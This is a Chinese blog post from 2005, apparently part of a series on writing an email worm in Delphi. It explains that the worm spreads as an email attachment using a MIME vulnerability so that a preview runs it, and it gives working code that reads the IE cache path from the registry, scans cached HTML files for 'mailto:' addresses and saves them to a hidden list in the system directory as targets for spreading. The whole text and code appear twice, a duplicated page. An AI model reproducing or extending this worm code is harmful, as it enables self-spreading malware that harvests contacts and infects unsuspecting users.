上次我只是简单的讲解了如何进行简单的自我保护，也算是简单的完成了一个蠕虫病毒的自我保护了，
而蠕虫最重要的一个环节就是进行传染了，一般都是把自己做为邮件的附件发送出去，然后配合一些系
统的漏洞，比如mime漏洞，只要预览该文件就可以执行。本来用vbscript可以很简单的把自身发给每一个
outlook的通讯薄里的用户，但是这样一来就不能自己控制发送的内容，也就是不能利用mime漏洞了，所以，
需要我们自己来手工的编写程序来解决这个问题。
那么就给我们编写程序提出了几个问题：
1)如何得到该电脑上的email地址。
2)如何用delphi来进行邮件的发送。（当然不能用控件了，所以只用winsock）
下面，我们首先来解决第一个问题。
一)得到电脑上的email地址
要得到电脑上的email地址，我想应该是可以从outlook的通讯薄直接得到，但是我才疏学浅，还没有搞定
这个问题，如果你有这方面的资料，还请你告诉我。于是，我们就换一种方法，我们来从IE的缓存中提取地址。
老惯例，文字不够用代码来凑，介绍几个函数：
function FindFirst(const Path: string; Attr: Integer; var F: TSearchRec): Integer;
function FindNext(var F: TSearchRec): Integer;
procedure FindClose(var F: TSearchRec);
上面这三个函数其实是和sdk里面的FindFirstFile,FindNextFile相对应的，不过既然delphi为我们提供了现成
的说明，我们就利用它好了，毕竟在delphi里使用起来也方便一些。根据上面的三个函数，我们了一个函数来
搜索某一个文件夹下面的所有htm文件。我们在这里用的是递归的方法，如果找到的文件是目录，并且不是"."或者".."就进行递归。
好，我们还是边看代码边解释。
procedure FindFiles(StartDir: string);
var
SR: TSearchRec; //用来储存返回的文件的一些数据
IsFound: Boolean;//做为一个标志
begin
IsFound :=FindFirst(StartDir+'*.htm', faAnyFile-faDirectory, SR) = 0;
//在startdir里面查找htm文件
while IsFound do begin
//如果找到htm文件
GetEmailAddress(startdir+sr.Name);
//这里调用我们自己定义的函数，传递的参数是startdir+sr.name也就是该文件的绝对路径。
//注意，这里的函数 GetEmailAddress我们等一下再来描述
IsFound := FindNext(SR) = 0;
//继续查找htm文件，只到标志isfound为false
end;
FindClose(SR);
IsFound := FindFirst(StartDir+'*.*', faAnyFile, SR) = 0;
//现在是查找所有的文件
while IsFound do begin
if ((SR.Attr and faDirectory) <> 0) and(SR.Name[1] <> '.') then
findfiles(startdir+sr.Name+'\');
//如果该文件是目录，并且不是"."或者".."，那么就在该目录里继续查找，也就是在这里递归了。
IsFound := FindNext(SR) = 0;
end;
FindClose(SR);
end;
ok，看到这里，我想聪明的你一定看到了我们的那个函数GetEmailAddress了，对了，我们就是不停的枚举
缓存中的所有文件，如果是htm文件，就把该文件的绝对路径做为参数传递给我们下面要写的函数GetEmailAddress来得到一个email地址列表。
那下面的这个函数GetEmailAddress就很容易编写了。
我只说一说简单的原理，就是打开一个htm文件，
一次读一行文本，然后看是否有"mailto:"，
如果有，就把紧接着的字符读出来，只到出现非法字符。
不过有一点这个方法只能读作为连接的email地址，
不过也足够了。
好，大家看程序：
procedure GetEmailAddress(FileName:string);
var
F:textfile;
S:string;//用来装每次读一行的字符串
Address:string;//得到的email地址
i,Position:integer;
begin
AssignFile(F,FileName);
Reset(f);
while not Eof(f) do
begin
Address:='';
//首先清空address
Readln(f,s);
//读取一行字符串到s中
Position:=Pos('mailto:',S);
//查找首个"mailto:"在s中的地址，如果一行中含有多个"mailto:"则需要你自己修改修改
if Position > 0 then
begin
for i:=Position+7 to length(S) do
//这里position+7里的7表示"mailto:"的长度
begin
if ((Upcase(s[i])<=#90) and (Upcase(s[i])>=#64)) or ((S[i]<=#57) and (S[i]>=#48)) or (S[i]='.') then
//判断是否有效字符
Address:=Address+S[i]
else
break;
end;
if (Address<>'') and (Pos('@',Address)<>0) then
//如果是有效地址，就把它写到列表中去。
//但是，可能这个地址以前已经存在在这个列表中，
//所以我定义了一个函数WriteAddress来判断是否存在该地址
//如果不存在，就添加到地址列表中去。
WriteAddress(Address);
end;
end;
closefile(f);
end;
现在搜索email地址只剩下最后一道工序了，那就是上面的WriteAddress函数，
用来判断地址的有效性。这个很简单，
我也不打算用什么数据结构或者算法，只是用最简便的方法来实现。
程序代码如下:
procedure WriteAddress(Address:string);
var
F:textfile;
S,Str:string;
CanWrite:boolean;
Path:array[0..255] of char;
begin
GetSystemDirectory(path,256);
//首先取得系统目录，到时候把email地址列表文件保存到这里。
Str:=Strpas(Path);
CanWrite:=true;
AssignFile(F,Str+'\maillist.lst');
if FileExists(Str+'\maillist.lst')=false then
begin
//如果不存在maillist.lst，则信建一个文件maillist.lst来存放email地址。
Rewrite(F);
writeln(F,Address);
Closefile(F);
exit;
end else
begin
Reset(f);
while not Eof(F) do
begin
Readln(F,S);
if Address=S then
begin
CanWrite:=false;
break;
end;
end;
CloseFile(F);
end;
//上面用来和文件里以经存在的地址一个一个的进行效验，如果不存在就写到列表里去。
if CanWrite then
begin
Append(F);
Writeln(F,Address);
CloseFile(F);
end;
end;
当然，如同我们上面所说，我只是用最简便的方法来做，
如果你要讲究效率，当然可以进行一些改动，
比如说搜索到的地址来做一个堆，
最后把堆里所有的地址都写到列表里来就可以了。
好，现在你可以在你的主程序里简单的写几句代码来调用上面写的几个函数了，
如下:
var
HK:HKEY;
IeCache:array[0..255] of char;
IeCacheLen:integer;
S:string;
begin
IeCacheLen:=256;
//设置返回值的长度
RegOpenKey(HKEY_CURRENT_USER,'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\',HK);
RegQueryValueEx(HK,'Cache',nil,nil,@IeCache,@ieCacheLen);
//读取IE缓存的路径
S:=Strpas(IeCache)+'\';
//在刚才取得的路径后面加一个'\'
FindFiles(S);
//调用我们自己写的函数
end;
调用完毕后，email地址就都保存在系统目录的maillist.lst文件中了。
而蠕虫最重要的一个环节就是进行传染了，一般都是把自己做为邮件的附件发送出去，然后配合一些系
统的漏洞，比如mime漏洞，只要预览该文件就可以执行。本来用vbscript可以很简单的把自身发给每一个
outlook的通讯薄里的用户，但是这样一来就不能自己控制发送的内容，也就是不能利用mime漏洞了，所以，
需要我们自己来手工的编写程序来解决这个问题。
那么就给我们编写程序提出了几个问题：
1)如何得到该电脑上的email地址。
2)如何用delphi来进行邮件的发送。（当然不能用控件了，所以只用winsock）
下面，我们首先来解决第一个问题。
一)得到电脑上的email地址
要得到电脑上的email地址，我想应该是可以从outlook的通讯薄直接得到，但是我才疏学浅，还没有搞定
这个问题，如果你有这方面的资料，还请你告诉我。于是，我们就换一种方法，我们来从IE的缓存中提取地址。
老惯例，文字不够用代码来凑，介绍几个函数：
function FindFirst(const Path: string; Attr: Integer; var F: TSearchRec): Integer;
function FindNext(var F: TSearchRec): Integer;
procedure FindClose(var F: TSearchRec);
上面这三个函数其实是和sdk里面的FindFirstFile,FindNextFile相对应的，不过既然delphi为我们提供了现成
的说明，我们就利用它好了，毕竟在delphi里使用起来也方便一些。根据上面的三个函数，我们了一个函数来
搜索某一个文件夹下面的所有htm文件。我们在这里用的是递归的方法，如果找到的文件是目录，并且不是"."或者".."就进行递归。
好，我们还是边看代码边解释。
procedure FindFiles(StartDir: string);
var
SR: TSearchRec; //用来储存返回的文件的一些数据
IsFound: Boolean;//做为一个标志
begin
IsFound :=FindFirst(StartDir+'*.htm', faAnyFile-faDirectory, SR) = 0;
//在startdir里面查找htm文件
while IsFound do begin
//如果找到htm文件
GetEmailAddress(startdir+sr.Name);
//这里调用我们自己定义的函数，传递的参数是startdir+sr.name也就是该文件的绝对路径。
//注意，这里的函数 GetEmailAddress我们等一下再来描述
IsFound := FindNext(SR) = 0;
//继续查找htm文件，只到标志isfound为false
end;
FindClose(SR);
IsFound := FindFirst(StartDir+'*.*', faAnyFile, SR) = 0;
//现在是查找所有的文件
while IsFound do begin
if ((SR.Attr and faDirectory) <> 0) and(SR.Name[1] <> '.') then
findfiles(startdir+sr.Name+'\');
//如果该文件是目录，并且不是"."或者".."，那么就在该目录里继续查找，也就是在这里递归了。
IsFound := FindNext(SR) = 0;
end;
FindClose(SR);
end;
ok，看到这里，我想聪明的你一定看到了我们的那个函数GetEmailAddress了，对了，我们就是不停的枚举
缓存中的所有文件，如果是htm文件，就把该文件的绝对路径做为参数传递给我们下面要写的函数GetEmailAddress来得到一个email地址列表。
那下面的这个函数GetEmailAddress就很容易编写了。
我只说一说简单的原理，就是打开一个htm文件，
一次读一行文本，然后看是否有"mailto:"，
如果有，就把紧接着的字符读出来，只到出现非法字符。
不过有一点这个方法只能读作为连接的email地址，
不过也足够了。
好，大家看程序：
procedure GetEmailAddress(FileName:string);
var
F:textfile;
S:string;//用来装每次读一行的字符串
Address:string;//得到的email地址
i,Position:integer;
begin
AssignFile(F,FileName);
Reset(f);
while not Eof(f) do
begin
Address:='';
//首先清空address
Readln(f,s);
//读取一行字符串到s中
Position:=Pos('mailto:',S);
//查找首个"mailto:"在s中的地址，如果一行中含有多个"mailto:"则需要你自己修改修改
if Position > 0 then
begin
for i:=Position+7 to length(S) do
//这里position+7里的7表示"mailto:"的长度
begin
if ((Upcase(s[i])<=#90) and (Upcase(s[i])>=#64)) or ((S[i]<=#57) and (S[i]>=#48)) or (S[i]='.') then
//判断是否有效字符
Address:=Address+S[i]
else
break;
end;
if (Address<>'') and (Pos('@',Address)<>0) then
//如果是有效地址，就把它写到列表中去。
//但是，可能这个地址以前已经存在在这个列表中，
//所以我定义了一个函数WriteAddress来判断是否存在该地址
//如果不存在，就添加到地址列表中去。
WriteAddress(Address);
end;
end;
closefile(f);
end;
现在搜索email地址只剩下最后一道工序了，那就是上面的WriteAddress函数，
用来判断地址的有效性。这个很简单，
我也不打算用什么数据结构或者算法，只是用最简便的方法来实现。
程序代码如下:
procedure WriteAddress(Address:string);
var
F:textfile;
S,Str:string;
CanWrite:boolean;
Path:array[0..255] of char;
begin
GetSystemDirectory(path,256);
//首先取得系统目录，到时候把email地址列表文件保存到这里。
Str:=Strpas(Path);
CanWrite:=true;
AssignFile(F,Str+'\maillist.lst');
if FileExists(Str+'\maillist.lst')=false then
begin
//如果不存在maillist.lst，则信建一个文件maillist.lst来存放email地址。
Rewrite(F);
writeln(F,Address);
Closefile(F);
exit;
end else
begin
Reset(f);
while not Eof(F) do
begin
Readln(F,S);
if Address=S then
begin
CanWrite:=false;
break;
end;
end;
CloseFile(F);
end;
//上面用来和文件里以经存在的地址一个一个的进行效验，如果不存在就写到列表里去。
if CanWrite then
begin
Append(F);
Writeln(F,Address);
CloseFile(F);
end;
end;
当然，如同我们上面所说，我只是用最简便的方法来做，
如果你要讲究效率，当然可以进行一些改动，
比如说搜索到的地址来做一个堆，
最后把堆里所有的地址都写到列表里来就可以了。
好，现在你可以在你的主程序里简单的写几句代码来调用上面写的几个函数了，
如下:
var
HK:HKEY;
IeCache:array[0..255] of char;
IeCacheLen:integer;
S:string;
begin
IeCacheLen:=256;
//设置返回值的长度
RegOpenKey(HKEY_CURRENT_USER,'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\',HK);
RegQueryValueEx(HK,'Cache',nil,nil,@IeCache,@ieCacheLen);
//读取IE缓存的路径
S:=Strpas(IeCache)+'\';
//在刚才取得的路径后面加一个'\'
FindFiles(S);
//调用我们自己写的函数
end;
调用完毕后，email地址就都保存在系统目录的maillist.lst文件中了。
posted on
2005-11-04 13:49
nothingnothingnothingnothingnothingnothingnothingnothing
阅读(542)
评论(0)
编辑
收藏
举报
